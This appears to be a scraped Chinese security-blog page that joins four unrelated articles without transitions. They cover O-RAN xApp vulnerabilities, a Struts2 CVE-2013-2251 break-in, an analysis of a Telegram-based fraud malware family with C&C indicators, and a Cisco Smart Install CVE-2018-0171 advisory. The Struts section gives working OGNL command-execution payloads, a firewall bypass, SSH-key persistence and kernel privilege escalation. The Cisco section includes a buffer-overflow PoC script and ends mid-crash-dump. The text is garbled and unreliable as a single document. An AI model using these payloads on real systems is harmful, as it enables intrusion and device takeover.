ISHACK AI BOT

开放式无线接入网 (ORAN or O-RAN) 是搭建一个开放、虚拟化和智能的无线接入网 (RAN) 体系结构，从而创造一个包含多家厂商、各家厂商的产品之间可以互操的生态系统。开放无线接入网(ORAN)体系结构为以前封闭的系统提供了标准化的接口和协议。然而，通过对ORAN的研究表明，恶意xApps构成的潜在威胁能够危及整个Ran智能控制器(RIC)子系统。Open RAN为5G无线接入网(RAN)引入了模块化和解耦的设计范式，并承诺通过O-RAN定义的RAN智能控制器(RIC, RAN Intelligent Controller)实现完全的可编程性。 开放式无线电接入网架构通过建立标准接口和协议提供了对先前封闭的无线电接入网系统的接入。预计不同的供应商将在O-RAN中创建eXtended应用程序（xApps），由运营商安装，这使得xApps成为恶意攻击者的潜在攻击向量，目的是在关键通信节点中站稳脚跟。 本文将会介绍恶意xApp如何危害整个RAN智能控制器（RIC）子系统。 5G网络 下图为5G蜂窝网络的总体架构。通过对分组核心的一些修改，拓扑结构也可以扩展以适应前几代网络（如3G和4G）。在下图的左侧是用户： 5G网络的端到端架构 基站（如图2所示）由以下组件组成： 1.发射和接收无线电信号的天线。 2.一种远程无线电头（RRH），它容纳射频（RF）收发器，负责将数字信号转换为无线电信号，反之亦然。 3.一种基带单元（BBU），用于处理数字数据处理，包括调制、编码和解码以及更高层协议。BBU可以管理多个RRH和天线。 典型RAN架构的组件 rrh通常位于天线附近，安装在手机信号塔上。BBUs曾经与蜂窝塔同处一处，但目前的基础设施促使它们会位于更远的中心位置。RAN的演变如本文所示。 vRAN(虚拟化RAN)是一种运行在商用现成硬件上的虚拟化BBU。在分离式vRAN设计中，BBU分为CU (central unit)和DU (distributed unit)两部分。 Open RAN 尽管虚拟化和分解，RAN体系结构仍然相对封闭(也就是说，大多数组件必须来自同一供应商以确保兼容性)。当网络架构关闭时，运营商通常需要向单一供应商支付巨额费用来购买设备和技术。 O-RAN架构旨在通过采用开放的标准、接口和协议来实现互操作性和灵活性。开放式RAN打破了系统的封闭性，允许运营商从不同的供应商选择设备和软件，从而实现更高程度的网络定制(例如，从一个供应商购买CU，然后从另一个供应商获得DU)。这允许更多的二、三线设备制造商参与进来。 O-RAN不仅仅是开放接口，它还通过基于人工智能的控制实现对下一代ran的开放访问。本地网络实体和RIC之间的开放接口可以促进无线电资源的实时感知、管理和响应。然而，由于其开放标准的性质，O-RAN本质上更容易受到攻击和其他威胁，因此设计适当的安全机制非常重要。 O-RAN联盟 O-RAN联盟是一个开放的技术组织，由移动运营商、供应商、研究组织和学术机构组成，致力于推进open RAN概念，该联盟已经设计了一套open RAN规范。 该联盟之前与Linux基金会合作开发了该规范的参考实现，称为O-RAN SC, O-RAN SC规范是开源的，其代码来自爱立信、诺基亚、三星、Radisys和AT&T等顶级RAN供应商。鉴于这种协作努力，许多供应商更有可能将O-RAN SC代码纳入其商业产品中。 O-RAN架构 O-RAN联盟在其网站上提供了O-RAN架构的概述，下图显示了O-RAN如何适应5G网络拓扑结构。 O-RAN如何适应5G网络拓扑结构 Near-RT RIC和RIC消息路由器(RMR) Near-RT RIC使用E2接口来控制底层的RAN组件(包括CU、DU和RU)，可以将它看作OpenFlow在RAN中的对应组件。E2接口的要求是能够将Near-RT RIC连接不同供应商的不同类型的RAN组件。这个要求反映在围绕服务模型(Service Model) 抽象的API中，其思想是每个RAN组件都发布一个服务模型，定义该组件能够支持的RAN功能集。 Near-RTRIC是O-RAN体系结构的重要组成部分之一，它对网络中的RF资源进行监控和管理，以优化网络性能。它可以实时收集和分析网络数据，还可以做出智能决策，优化无线资源的配置，使这些资源能够满足不同终端设备和服务的需求。 在Near-RT的RIC中，还有许多其他子组件，如E2term、E2Mgr和xApps。这些组件之间的通信依赖于RIC Message Router (RMR)表，在Near-RT的RIC中，该表通常包含与消息的路由和管理相关的信息。这些表包括消息的目的地、优先级、队列和其他相关属性等详细信息。 RMR表包括以下信息： 消息目的地：指定应将消息路由到何处以及应处理该消息的实体或处理程序。优先事项指示处理消息的优先级，以确保重要消息得到更快的响应。 排队：用于存储消息以供后续处理。 消息类型：标识消息的类型，以便正确的处理程序能够处理它。 消息标识符：标识消息的唯一值：它用于跟踪消息状态和处理进度。 RMR库是一组用于与RMR表交互的api，它包含在组成Near-RTRIC的组件中，例如xApp和E2Term。例如，两个独立xapp之间的交互将通过RMR进行。在这种情况下，xApp_A将根据KPI信息做出判断，然后通过RMR调用xApp_B。 下图显示了使用RMR库和路由表的Near-RTRIC中组件之间的交互。 RIC组件如何使用RMR 我们的研究揭示了Near-RTRIC的消息传递基础设施中的多个漏洞。 攻击方法 在Near-RT的RIC中运行，xApps是提供诸如无线电资源优化、网络监控和性能增强等功能的软件组件。这些组件可以由网络运营商、第三方开发人员或网络设备供应商进一步开发，以增加独特的价值和功能。从这个意义上说，xApps可以被认为是所有O-RAN组件中最开放的。 这种多厂商生态系统推动了创新，但也带来了以下挑战： 安全xApp登录； 互操作性； 鲁棒性问题； 通常情况下，xApps应该来自多个供应商。因此，我们开始研究时假设xApps是一种潜在的攻击媒介，xApp可能会通过供应链或劫持引导进程而受到攻击。即使是良性的xApp，如果它发出意外的或异常的消息，也会造成伤害。我们的研究结果证实了这些假设。 RMR漏洞 CVE-2023-40998：来自xApp的精心制作的恶意数据包导致RT RIC的E2term崩溃。 CVE-2023-40998漏洞涉及错误的数据包信息，可能导致解码过程中的数据包大小为负，从而导致执行内存操作时崩溃。 CVE-2023-40998消息流 消息大小变为负数的原因是它由数据包的前四个字节决定。如果设置不正确，它可能在解码过程中导致负值，从而导致崩溃。 CVE-2023-40997：以无效格式发送的精心制作的消息导致Near-RTRIC的E2term崩溃。 CVE-2023-40997消息流 CVE-2023-40997发送报文无法正确解码，导致内存地址计算错误，导致E2Term崩溃。 CVE-2023-41627：RMR表欺骗 E2Term依赖路由管理器定期发送的路由表信息来与RIC系统中的其他组件建立通信，但E2Term不会验证它接收到的路由表信息的发送方。由于缺乏验证，攻击者可以通过向E2Term发送伪造路由表信息来利用CVE-2023-41627漏洞，通过使用路由管理器以更高的频率将此信息发送给E2Term，攻击者可以欺骗E2Term并中断其与其他组件的通信。 CVE-2023-41627消息流 RMR劫持：两个xapp使用相同的订阅ID发送相同的消息类型 当xApp_A向订阅E2节点发送函数ID时，xApp_B向订阅E2节点发送相同的函数ID。然后，xApp_A RMR表项将被覆盖，这意味着它不能从E2节点接收消息。相反，E2节点将向第二个xApp_B发送消息。 O-RAN是通信网络的关键组成部分，O-RAN节点存储加密密钥并处理用户流量。 这里描述的两个漏洞会导致DoS事件，它们与xApps、RMR和Near-RT的RIC有关。这些组件提供射频资源优化和流量管理等增值服务。 O-RAN设计用于在RIC/E2组件不可用的情况下进行流量处理。理论上，RIC组件的崩溃不应该关闭蜂窝连接。但是，这可能导致资源利用不畅和服务退化。 同时，RMR欺骗和劫持可以在不关闭任何组件的情况下破坏RIC中的xApp生态系统。这就造成了资源利用率低下和服务退化。 即使是良性的xapp也可能由于实现不当而造成损害。这可能会对O-RAN中多厂商组件的互操作性产生不利影响。 缓解 严格的验证和登录过程可以防止恶意xApps进入系统，即使RIC组件发生故障，确保O-RAN也可以处理网络流量，这也可以缓解攻击的影响。 建议使用深度包检测(DPI)系统来检查组件之间的流量，以便可以根据需要应用热补丁。 这个DPI系统能够理解O-RAN协议。

本文是关于Apache struts2 CVE-2013-2251是由于导致执行远程命令的影响而被高度利用的漏洞。简而言之， 通过操纵以“action:”/”redirect:”/”redirectAction:”为前缀的参数引入的漏洞，允许在使用<Struts 2.3.15作为框架的Java Web应用程序中执行远程命令。 现在，当这个漏洞以病毒式疯狂传播时，主要的应用防火墙厂商开始更新它们的规则引擎和检测技术，以防止它发生。 但是作者不仅能够绕过防火墙并获得远程代码执行，还能够通过利用内核漏洞来提权到以root用户身份获取服务器权限。 当作者在测试旅行预订网站时，是 因为为了找到应用程序是否运行在易受攻击的Apache Struts框架上的漏洞利用，只需检查以下易受攻击的参数-“action, redirect,redirectAction”和正确的有效攻击负载，通过google找到利用poc的博客（必须构建一个OGNL表达式），http://blog.opensecurityresearch.com/2014/02/attacking-struts-with-cve-2013-2251.html ，下面是用于运行命令“ifconfig”的有效负载。 redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()} 但正如预料的那样，它被应用防火墙阻止了，并将重定向到一个bot机器页面 。 当这样的事情发生在作者身上时，正如前面指出的那样，知道哪些参数易受攻击，其中之一是在上述请求中使用的“redirect”参数。 “redirect”，是的，你觉得它是正确的，让我们尝试在这里重定向，只是把它重定向到http：//www.goal.com 正如你所看到的那样，作者得到了302重定向到位置http://www.goal.com ，所以之前的ifconfig命令有效载荷被阻止了，这个重定向方法，给了作者一个绕过防火墙的思路，所以，将上面的有效负载进行修改如下： redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()} 并发起请求： 下面显示了能够绕过防火墙并获得运行的“ifconfig”命令输出信息： 下一个目标是获得服务器的远程shell，作者使用反向SSH隧道和公钥认证来尝试并获取shell，它允许SSH用户在不输入密码的情况下登录。 因此，作者必须将攻击者服务器的ssh公钥放入受害服务器的授权路径下~/.ssh/authorized_keys，为了获取授权身份，并且获取为反向ssh隧道，还必须添加受害ssh服务器的id_rsa.pub公钥。 为了阐述上面2个关键词的概念并理解公钥认证的概念-----id_rsa.pub是您添加到其他主机的authorized_keys文件以允许您以该用户身份登录的公钥。 authorized_keys是允许登录到特定服务器上的特定帐户的公钥列表。 第一步 - 使用RCE查找受害服务器的id_rsa.pub文件位置 第二步 - 将authorized_keys从受害者服务器复制到攻击者服务器上 第三步 - 将修改后的authorized_keys从攻击者服务器复制回来，通过读取id_rsa.pub获得shell. 最后一步 - SSH在攻击者机器上使用反向隧道，所以运行了如下命令行： 能够获得服务器的远程shell,但没以root登陆的权限，这就意味着只有有限的权利访问文件和命令执行。 现在为了获取以root用户身份登录的权限，作者首先查看当前受害机器上运行的内核版本是什么： 因此发现了内核版本是2.6.32，通过google查找到利用的CVE，该CVE可 容易进行账户提权和漏洞利用----https： //github.com/realtalk/cve-2013-2094 ，最终够获得root用户权限。 这就是如何通过利用apache strut 2漏洞和内核版本漏洞利用结合来获取以root用户服务器的远程shell。

概述 经监测，我们截获了一起与未知家族有关的欺诈性 Android 应用传播事件。详细调查发现，该家族主要使用开源的 Telegram Android 源代码作为其核心功能模板。通过各种策略，包括但不限于刷单、投资推广和色情聊天，该家族诱导用户下载并安装其应用，从而执行欺诈操作。进一步网络环境探测结果显示，存在多款与该家族高度相似的活跃应用，进一步证实了这些应用确实属于同一个欺诈家族。这个家族不仅具有高度的欺诈性和一致性，还拥有一个完整的业务供应链。基于上述特点，我们决定为这一欺诈家族命名为“BOOMSLANG（树蚺）”。 技术分析 从我们获取的家族样本中进行溯源分析后，发现该家族最早始于 2022 年 9 月进行传播。由于当时疫情等外部因素的影响，该家族在 2022 年 9 月至 2023 年 3 月期间处于欺诈传播的初级阶段。然而，随着社会状况逐渐恢复，该家族开始大规模传播，并推出了多个不同业务类型的版本。值得注意的是，为了适应反欺诈措施，该家族在 2023 年 7 月首次进行了变种，引入了“Domain Over HTTPS（DoH）”技术。随后，在 2023 年 9 月，家族样本再次发生变种，增加了对现有自动化 App 安全检测手段的抵抗能力，具体采用了 NPManager 自带的 StringFrog 混淆技术，以规避基于字符串提取的安全检测。 DoH（DNS over HTTPS）是一种安全协议，用于通过 HTTPS 加密的连接进行 DNS 解析请求和响应。其主要目的是增加隐私和安全性，防止 DNS 请求被窃听或篡改。 接下来，我们将对该家族的原始版本以及引入 DoH 技术的版本进行深入分析。 样本概况 样本标识 ·MD5 Hash: 0a731ace7a01349d8c103ad5dc7fc230 功能与行为 1.登录界面：样本启动后展示的是一个登录界面，该界面要求输入邀请码以进行登录。 2.聊天界面：登录成功后，用户将进入一个聊天界面。 3.恶意活动：该样本主要通过聊天功能进行诈骗或其他类型的恶意行为。 分析细节 样本基本面分析 1.权限分析：使用 Incinerator 工具打开样本后，从生成的 Report 信息中可以观察到，该样本请求了多个高风险的权限。 2.动态检测结果： ·包名与子目录问题：动态检测结果显示，在 im.lpfupkaehn.messenger 包名下的 tgnet 子目录中，NetworkConfig.java 文件存在明显的问题。 接下来，我们将详细分析 im.lpfupkaehn.messenger 包名的具体表现和潜在风险。 代码相似度 文件与目录结构 ·tgnet 子目录：在 im.lpfupkaehn.messenger 的相应目录下，存在一个明确的 tgnet 子目录。 源码比对 ·GitHub 搜索结果：利用该目录中的代码进行 GitHub 搜索后，发现这部分代码与 Telegram Android 源码高度相似。 代码相似性比较 ·im.lpfupkaehn.messenger 与 org.telegram.messenger 多个类文件，如 AccountInstance 等，在排除反编译因素后，显示为 100% 相同。 代码差异分析 主要新增部分 在该样本中，基于 Telegram Android 源码，主要有三个显著的新增部分： 1.依赖库： ·位置：主要集中在 com 目录下。 ·功能与调用：这些库基本上都能通过搜索找到其调用处，主要用于处理一些较小的功能。 ·示例：com.alibaba.fastjson 库主要用于处理更新用户信息的协议。 2.UI 目录差异： ·对比：im.lpfupkaehn.ui 目录与 org.telegram.ui 目录相比，前者多出几个目录。 ·推测：这些新增目录可能是为了满足定制 UI 的需求而加入的。 3.tgnet 目录差异： ·对比：在 im.lpfupkaehn.tgnet 和 org.telegram.tgnet 目录之间进行比较，发现前者多出几个文件。 ·推测：这些新增文件可能是用于实现特定的网络通信或功能。 详细新增类文件分析 在该家族样本中，特别值得注意的是新增了以下类文件： 基础网络与文件操作类： ·FCTokenRequestCallback： 可能与 Token 请求有关。 ·FileLoadOperation： 文件加载操作。 ·FileLoadOperationDelegate： 文件加载操作的代理。 ·NetBean： 网络配置 Bean。 ·NetworkConfig： 网络配置。 ·ParamsUtil： 参数工具。 Telegram 后台通讯扩展（TL 系列）： ·TLApiModel： API 模型。 ·TLRPCZ： 可能与 RPC 通讯有关。 ·TLRPCBackup： 备份相关。 ·TLRPCBasic： 基础 RPC 功能。 ·TLRPCCall： 通话功能。 ·TLRPCCdn： CDN 相关。 ·TLRPCChats： 聊天相关。 ·TLRPCContacts： 联系人相关。 ·TLRPCFriendsHub： 好友中心。 ·TLRPCHotChannel： 热门频道。 ·TLRPCLogin： 登录相关。 ·TLRPCRedpacket： 红包功能。 ·TLRPCWallet： 钱包功能。 这些新增的类文件主要涉及到网络操作、文件处理以及与 Telegram 后台进行通讯的多个方面。这进一步突显了该家族样本相较于原始 Telegram 代码的定制和拓展。 网络行为分析报告 主要焦点：NetworkConfig.java 基于自动化分析的结果，NetworkConfig.java 文件代码中存在明显的问题，因此本次分析将重点关注该文件。 网络配置更新机制 环境区分：代码中区分了线上环境和内网环境。只有标识为 1002 的是线上环境，需要更新网络配置。 这里有两个关键函数 initRemoteConnInfos 和 selecteRemoteConnInfo 关键函数分析：initRemoteConnInfos： 主要负责从配置接口 https://*************.***-**********.********.***/************.*** 获取目标 IP 和端口信息。 selecteRemoteConnInfo: 使用阿里游戏盾将目标 IP 和端口转换为代理 IP 和端口，达到隐藏实际 IP 和端口的目的。 阿里游戏盾使用逻辑 功能介绍： 阿里游戏盾提供了一个免疫 DDoS/CC 攻击的弹性安全网络。具体来说，它根据提供的目标 IP 和端口生成一个动态变化的代理 IP 和端口。 挑战与影响： 对于网络行为分析和恶意程序网络请求拦截来说，阿里游戏盾的弹性安全网络构成了一个严重的挑战。因为代理 IP 和端口可以不断变化，这极大地增加了网络追踪和拦截的难度。 该样本利用了复杂的网络配置和第三方安全服务（阿里游戏盾）来隐藏其实际网络行为，从而增加分析和追踪的难度。这些特点进一步证明了该恶意样本的高度专业性和隐蔽性。YunCeng.getProxyTcpByDomain 的反编译代码如下： 根据阿里游戏盾官方网站上较旧版本的文档，getProxyTcpByDomain 函数的前四个参数表现如下： 函数的后两个参数则用于返回与输入目标 IP 和端口相对应的代理 IP 和端口。在对上述代码进行进一步分析后，我们发现返回的代理数据最终被传递给了 ConnectsManager。 我们注意到这是一个 native 函数。在常规情况下，我们需要逆向分析。so 文件以获取相应的代码。然而，由于之前我们已经提到这个样本代码与 Telegram Android 有很高的相似性，我们决定直接查阅 Telegram Android 的源代码来进行分析。 在这个步骤中，返回的 IP 地址和端口号被设置给了 ConnectManager 的 datacenter 对象，并随后重新发起了握手过程以建立新的连接。这一操作实现了样本与云端网络通讯的服务器切换。至此，恶意样本已经成功地通过新的 IP 和端口与远程服务器建立了新的通信通道。 拦截方法： 经过详细分析，我们完成了对样本主要网络请求逃逸拦截行为的审查。该样本巧妙地利用了防 DDoS 服务，通过不断更换请求的 IP 地址和端口，有效地规避了传统的基于固定 IP 请求拦截的防护手段。 要全面阻断这一样本的网络请求，需要通过静态和动态分析相结合的方式，找出样本是如何利用阿里游戏盾服务的，并据此拦截相关网络通信途径。具体拦截策略可集中在以下三个方面： 1.拦截样本通过请求阿里游戏盾来获取目标 IP 地址和端口的网络请求。 2.如果第一种拦截策略未能成功执行，那么还需要针对样本中预设的默认 IP 和端口进行拦截。具体来说，应该拦截所有指向 ****.**.********.*** 的网络请求。 3.在灰度测试阶段，如果前两种拦截策略都未能成功，那么应关注样本中预设的第三个默认 IP 地址，即 **.***.***.***。所有指向这一 IP 的网络请求也应被拦截。 这些网络请求被巧妙地深藏在代码中，需要综合应用动态和静态分析方法才能准确地识别出它们，这无疑给安全对抗工作增加了额外的挑战和工作量。 家族变种分析 在持续追踪此类恶意 APP 过程中，我们发现了一种新的变种，其 MD5 哈希值为 61eea96bae6e53b6806d974cf35877df。这个新样本做出了一个显著的变化：它不再依赖于阿里游戏盾，而是转向使用了七牛云的 DoH（DNS over HTTPS）服务。具体的使用方式如下： 在这个新的变种中，攻击者将 HOST 中的地址配置为七牛云的 DnsManager 的 dnsServer。然后，该 DnsManager 负责进行 DNS 查询。这种改变不仅表明攻击者正在逐渐熟悉和利用更高级的网络服务，而且也增加了分析和拦截其行为的复杂性。 在这种情况下，样本通过其自己控制的 dnsserver 来动态地更换 IP 地址。这种设置使得攻击者能够在后端使用类似于阿里游戏盾的工具，随机返回不同的代理 IP 地址，从而实现真实 IP 地址的隐藏。如果 DNS 查询失败，样本会回退到预设的 IP 和端口，进一步增加了对抗分析的复杂性。这种多层次的网络行为策略不仅增加了分析工作的难度，也为有效拦截创建了额外的挑战。 总结 在对该恶意样本的全面分析中，我们可以看出样本在多个层面上展示出复杂和隐蔽的行为特点： 1.代码结构：该样本大量借用了 Telegram Android 的源代码，并进行了多处定制和添加，这增加了分析的复杂性。 2.网络行为： ·早期版本主要使用阿里游戏盾进行 IP 和端口的动态更换，以规避网络拦截。 ·新变种则切换到了使用七牛云的 DoH 服务，进一步提高了其隐蔽性。 3.动态与静态分析结合：由于样本使用了多种方式来隐蔽其网络行为和代码结构，因此需要同时运用动态和静态分析来全面了解其行为模式。 4.对抗措施：对该样本的有效拦截需要细致地分析其使用的所有通讯路径和依赖库，并针对这些特定路径和库进行拦截。 5.更新和演进：该样本具有较高的更新频率和多样性，需要持续关注其变种和更新。 综上所述，该恶意样本展示了高度的复杂性和隐蔽性，需要综合多种分析手段并持续跟踪其变化，以便制定有效的防护措施。 IoC Hash: 0a731ace7a01349d8c103ad5dc7fc230 c0c2c778f447c8e8e007f23fc9884270 f911559ca31a67644839fb3441b4353a 90a214d758e139e7604d2a0ffeea636d 07adcaaba76313bb403e272af0b410fb cc77e56537f42e9f9929414e0c6ee5fa 3500969225597c6ef74bbcd430db639b 9e2430fbf9fda9d88c64fa21be0397be cad71847f3d233392858241108379ba9 4c0ef460d9002529e5c4246a01b4bb3b 61ad63ee3527a0386728d7b7fd7327c1 f5e0cb000781595282b08c0c13aa2ccd aa9b9fa34ecccd73586a75a5c2b472da 1ee643ce7569b8badef4893a06a65529 83769c54646c9b7fb4395e2bd2bbd8ca 340795cd070438dbab4224b39de2bb32 c5381d9b17d4d870f4187bd92fffc4f1 34db2c2aa456d943c0cee500895b6ebb 903a976b8469ffc51f865064c1c99134 e51e972cab85b126aa714367a6b3580d 0e8f47f6fd85f87ec856b8338cb1a58e 5c901f89a693a81a60da1f0314fc8c00 8bf147393b4349e6d30855f5a1994122 0724e81bab5c781229d8a412b078a470 84bad8f49ab890c25ccd33b751d875a1 dbce0d16142d5492ff7c3304ee24c118 cda08dd3ba29229da293efb299a0071b 7870d55613d69067f432bcfced6b9395 e01a68ff450ca8e9e8a148060503aa4d a248ce6f396c27ebc7f5a660e367eae8 c80a11363e216d7e32e17fa044672369 79bcd908766033491409c62015488049 55e3dfe425fb5372542909a63ed007e5 5bb38f2601937a538d068047dc32937b a1b5de8df8741deb655c84d3dad536fd C&C: 47.104.243.76:31537 183.230.11.65:55555 42.193.237.57:30003 175.178.152.90:30003 139.199.224.36:30003 111.230.69.193:30003 36.255.220.245 https://ff119f.oss-accelerate.aliyuncs.com/andrioddunv.txt https://axvsag103sdvsbd.oss-accelerate.aliyuncs.com/andrioddunv.txt https://126sand.oss-accelerate.aliyuncs.com/andrioddunv.txt https://bw36file.oss-accelerate.aliyuncs.com/andrioddunv.txt https://bw1cloudfile1.oss-accelerate.aliyuncs.com/andrioddunv.txt https://ff115f.oss-accelerate.aliyuncs.com/andrioddunv.txt https://bw5file1.oss-cn-hangzhou.aliyuncs.com/andrioddunv.txt https://80xbdfs.oss-accelerate.aliyuncs.com/andrioddunv.txt https://bw89file.oss-accelerate.aliyuncs.com/andrioddunv.txt https://6oiue.oss-accelerate.aliyuncs.com/andrioddunv.txt https://ma36twegt.oss-accelerate.aliyuncs.com/andrioddunv.txt https://6fdhgbtreh.oss-accelerate.aliyuncs.com/andrioddunv.txt https://fdasfewmm26dsafdas.oss-ap-southeast-1.aliyuncs.com/andrioddunv.txt https://gg81fnew.oss-accelerate.aliyuncs.com/andrioddunv.txt https://ev10mgmt.oss-accelerate.aliyuncs.com/andrioddunv.txt https://26qewsdz.oss-accelerate.aliyuncs.com/andrioddunv.txt https://file100fg.oss-accelerate.aliyuncs.com/andrioddunv.txt https://jbsa111.oss-accelerate.aliyuncs.com/andrioddunv.txt https://cxvsdf121gfhe.oss-accelerate.aliyuncs.com/andrioddunv.txt https://wb25f.oss-accelerate.aliyuncs.com/andrioddunv.txt https://abhjbw115jks.oss-accelerate.aliyuncs.com/andrioddunv.txt https://bhjasd183.oss-accelerate.aliyuncs.com/andrioddunv.txt https://bw39file.oss-accelerate.aliyuncs.com/andrioddunv.txt https://if90f.oss-accelerate.aliyuncs.com/andrioddunv.txt https://8.212.47.67/dns-query https://8.212.102.80/dns-query https://8.212.1.70/dns-query https://8.212.101.76/dns-query https://47.57.138.89/dns-query https://47.57.2.128/dns-query Smile.isk5uz.com Maomi.gz.bw36diannew.com abab.gz.bibi115s.com Pulo.gz.bw6nmddk.com Qiaojiar.gz.bw111uam.com guo.gz.awwb90.com ttt.gz.iudjd119.com Facai.gz.bw26f.com Sichunge.bj1.mumrsn8i.com nqo5.hz.sjdnbw81.com deadf.gz.wknbw25.com Lvcha.gz.bw183khgftdfgh.com Wngd.gz.bw121ffu.com Gsnm.gz.bw115dsvwerfoijsd.com Xecm.gz.bw6st.com Huachuanghulian.gz.bw16wcnmader.com Qingyimianmian.gz.bw39top.com Zzh.gz.bw126zzhyyds.com wrty4.gz.az25ru.com roklw.gz.skmw100.com Ommm.gz.bw103hgycgi.com Edko.gz.bw36a.com Aelo.gz.bw112uuuuuuu.com Dandan.gz.bw26yidingyaotingzhu.com corgi.gz.zcimeb5im.com Ting.gz.bw80houhou.com 原文链接：https://www.liansecurity.com/#/main/news/m1QMM4wB203zX1ee-8_c/detail

0x01前言 在Smart Install Client代码中发现了基于堆栈的缓冲区溢出漏洞，该漏洞攻击者无需身份验证登录即可远程执行任意代码。cisco Smart Install是一种“即插即用”的配置和图像管理功能，可为新的交换机提供简易的部署。该功能允许用户将思科交换机放置到到任何位置，将其安装到网络中，然后启动，无需其他配置要求。因此它可以完全控制易受攻击的网络设备。Smart Install是一种即插即用的配置和图像管理的功能，为新型交换机提供良好的图形界面管理。它能使初始化配置过程自动化，并通过当前加载操作系统的镜像提供新的交换机。该功能还可在配置发生变化的时候提供热插热拔的实时备份。需要注意的是，该功能在默认情况下客户端上是启用了的。 0x02漏洞描述 思科 IOS 和 IOS-XE 系统 Smart Install Client 代码中存在一处缓冲区栈溢出漏洞（CVE-2018-0171）。攻击者可以远程向 TCP 4786 端口发送一个恶意数据包，利用该漏洞，触发目标设备的栈溢出漏洞造成设备拒绝服务（DoS）或在造成远程命令执行，攻击者可以远程控制受到漏洞影响的网络设备。据悉，思科交换器 TCP 4786 端口是默认开放的 0x03检查漏洞 1.如果您的思科网络设备开放了TCP 4786端口，则易受到攻击，为了找到这样的设备，只需通过nmap扫描目标网络。 nmap -p T:4786 192.168.1.0/24 2.要检查网络设备是否开放了Smart Install Client客户端功能，以下示例是在显示配置为Smart Install Clien的Cisco Catalyst交换机上的show vstack config命令输出： switch1# show vstack config Role: Client (SmartInstall enabled) . switch2# show vstack config Capability: Client Oper Mode: Enabled Role: Client 来自show vstack config命令输出的Role：Client和Oper Mode：Enabled或Role：Client（已启用SmartInstall）信息确认设备上已启用了该功能。 3.思科机子上执行命令判断，开放了4786端口即使用了SMI。 switch>show tcp brief all TCBLocal Address Foreign Address (state) 0344B794*.4786 *.* LISTEN 0350A018*.443 *.* LISTEN 03293634*.443 *.* LISTEN 03292D9C*.80 *.* LISTEN 03292504*.80 *.* LISTEN Cisco IOS和iex软件版本检查： Router> show version Cisco IOS Software, C2951 Software (C2951-UNIVERSALK9-M), Version 15.5(2)T1, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2015 by Cisco Systems, Inc. Compiled Mon 22-Jun-15 09:32 by prod_rel_team ios-xe-device# show version Cisco IOS Software, Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version Denali 16.2.1, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2016 by Cisco Systems, Inc. Compiled Sun 27-Mar-16 21:47 by mcpre 4.如果您不确定您的漏洞是否受到影响，可以使用Cisco的Cisco IOS Software Checker进行检测： https://tools.cisco.com/security/center/softwarechecker.x 5.使用下面的脚本探测对应IP端口是否确实开放的是思科SMI协议 https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py 协议特征可以参见msf扒拉出来的 https://github.com/rapid7/metasploit-framework/commit/c67e407c9c5cd28d555e1c2614776e05b628749d # python smi_check.py -i targetip [INFO] Sending TCP probe to targetip:4786 [INFO] Smart Install Client feature active on targetip:4786 [INFO] targetip is affected 0x04 影响范围 影响设备： Catalyst 4500 Supervisor Engines Cisco Catalyst 3850 Series Switches Cisco Catalyst 2960 Series Switches 包含部分Smart Install Client的设备也可能受到影响： Catalyst 4500 Supervisor Engines Catalyst 3850 Series Catalyst 3750 Series Catalyst 3650 Series Catalyst 3560 Series Catalyst 2960 Series Catalyst 2975 Series IE 2000 IE 3000 IE 3010 IE 4000 IE 4010 IE 5000 SM-ES2 SKUs SM-ES3 SKUs NME-16ES-1G-P SM-X-ES3 SKUs 0x05 漏洞验证 以下是此漏洞验证的PoC： # smi_ibc_init_discovery_BoF.py import socket import struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1") parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786) (options, args) = parser.parse_args() def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v def send_packet(sock, packet): sock.send(packet) def receive(sock): return sock.recv() if __name__ == "__main__": print "[*] Connecting to Smart Install Client ", options.target, "port", options.port con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) con.connect((options.target, options.port)) payload = 'BBBB' * 44 shellcode = 'D' * 2048 data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload tlv_1 = craft_tlv(0x00000001, data) tlv_2 = shellcode pkt = hdr + tlv_1 + tlv_2 print "[*] Send a malicious packet" send_packet(con, pkt) 要攻击交换机，则运行以下命令： host$ ./smi_ibc_init_discovery_BoF.py-t 192.168.1.1 在交换机上应显示崩溃信息并重新启动： 00:10:35 UTC Mon Mar 1 1993: Unexpected exception to CPUvector 1200, PC = 42424240 -Traceback= 42424240 Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_15 === Flushing messages (00:10:39 UTC Mon Mar 1 1993) === Buffered messages: ... Queued messages: Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE (fc3) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2016 by Cisco Systems, Inc. Compiled Wed 17-Aug-16 13:46 by prod_rel_team Instruction TLB Miss Exception (0x1200)! SRR0 = 0x42424240 SRR1 = 0x00029230 SRR2 = 0x0152ACE4 SRR3 = 0x00029230 ESR = 0x00000000 DEAR = 0x00000000 TSR = 0x84000000 DBSR = 0x00000000 CPU Register Context: Vector = 0x00001200 PC = 0x42424240 MSR = 0x00029230 CR = 0x33000053 LR = 0x42424242 CTR = 0x014D5268 XER = 0xC000006A R0 = 0x42424242 R1 = 0x02B1B0B0 R2 = 0x00000000 R3 